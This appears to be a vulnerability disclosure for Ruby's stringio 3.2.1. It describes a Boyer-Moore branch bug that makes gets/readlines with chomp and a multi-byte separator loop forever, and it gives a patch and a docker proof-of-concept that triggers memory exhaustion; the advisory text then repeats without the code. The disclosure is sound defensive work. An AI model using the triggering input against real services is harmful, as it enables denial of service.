Version
stringio 3.2.1
Description
StringIO#gets with chomp: true and a 2+ byte separator loops forever once ≥ 1024 bytes remain to read: the position never advances past the separator, so gets returns "" indefinitely and never reaches EOF. #readlines/#each_line share the path; #readlines piles the empty strings into an array, so a ~3 KB input exhausts memory in seconds.
This is Ruby Bug #18769 only half-fixed. strio_getline() finds a multi-byte separator two ways — linear scan (< 1024 bytes) and Boyer-Moore (≥ 1024 bytes). Commit 4bf64d5 fixed the linear branch but not Boyer-Moore (ext/stringio/stringio.c:1441-1447):
// buggy: with chomp, e = start of separator and w stays 0, so ptr->pos never moves past it
if ((pos = bm_search(p, n, s, e - s, skip)) >= 0) e = s + pos + (arg->chomp ? 0 : n);
// fix (mirror the linear branch):
if ((pos = bm_search(p, n, s, e - s, skip)) >= 0) { e = s + pos + n; if (arg->chomp) w = n; }
PoC
docker run --rm -v "$PWD":/src -w /src ruby:3.3-bookworm bash -c '
set -e
apt-get update -qq >/dev/null && apt-get install -y -qq build-essential procps >/dev/null
cd /tmp && ruby /src/ext/stringio/extconf.rb >/dev/null && make -j"$(nproc)" CFLAGS="-O2 -fPIC" >/dev/null
echo "built $(grep -oE "STRINGIO_VERSION = \"[^\"]+\"" /src/ext/stringio/stringio.c)"
# >1024 bytes after the "::" separator -> the buggy Boyer-Moore branch
echo "-- gets() returns \"\" forever, pos frozen --"
ruby -I/tmp -rstringio -e "io=StringIO.new((%q{A}*1500)+%q{::}+(%q{B}*1500)); 3.times{ l=io.gets(%q{::},chomp:true); warn %Q{bytes=#{l.bytesize} pos=#{io.pos}} }"
echo "-- readlines() memory grows without bound from 3 KB --"
ruby -I/tmp -rstringio -e "StringIO.new((%q{A}*1500)+%q{::}+(%q{B}*1500)).readlines(%q{::},chomp:true)" & PID=$!
for i in $(seq 1 6); do sleep 1; R=$(awk "/VmRSS/{print \$2}" /proc/$PID/status 2>/dev/null||true); [ -z "$R" ]&&break; echo "t=${i}s RSS=$((R/1024))MB"; done
kill -9 $PID 2>/dev/null || true
'
Security Impact
Any app reading untrusted bytes from a StringIO with chomp: true and a multi-byte separator ("\r\n", "\r\n\r\n", a MIME/record boundary, a custom delimiter) over long content can be forced into this loop: 100% CPU + unbounded memory until the process is OOM-killed, and a request timeout can't break it since it never yields. Availability only — no disclosure or code execution.
Credit
depthfirst (Pranjali Thakur - pranjali@depthfirst.com)
Version
stringio 3.2.1
Description
StringIO#gets with chomp: true and a 2+ byte separator loops forever once ≥ 1024 bytes remain to read: the position never advances past the separator, so gets returns "" indefinitely and never reaches EOF. #readlines/#each_line share the path; #readlines piles the empty strings into an array, so a ~3 KB input exhausts memory in seconds.
This is Ruby Bug #18769 only half-fixed. strio_getline() finds a multi-byte separator two ways — linear scan (< 1024 bytes) and Boyer-Moore (≥ 1024 bytes). Commit 4bf64d5 fixed the linear branch but not Boyer-Moore (ext/stringio/stringio.c:1441-1447):
PoC
Security Impact
Any app reading untrusted bytes from a StringIO with chomp: true and a multi-byte separator ("\r\n", "\r\n\r\n", a MIME/record boundary, a custom delimiter) over long content can be forced into this loop: 100% CPU + unbounded memory until the process is OOM-killed, and a request timeout can't break it since it never yields. Availability only — no disclosure or code execution.
Credit
depthfirst (Pranjali Thakur - pranjali@depthfirst.com)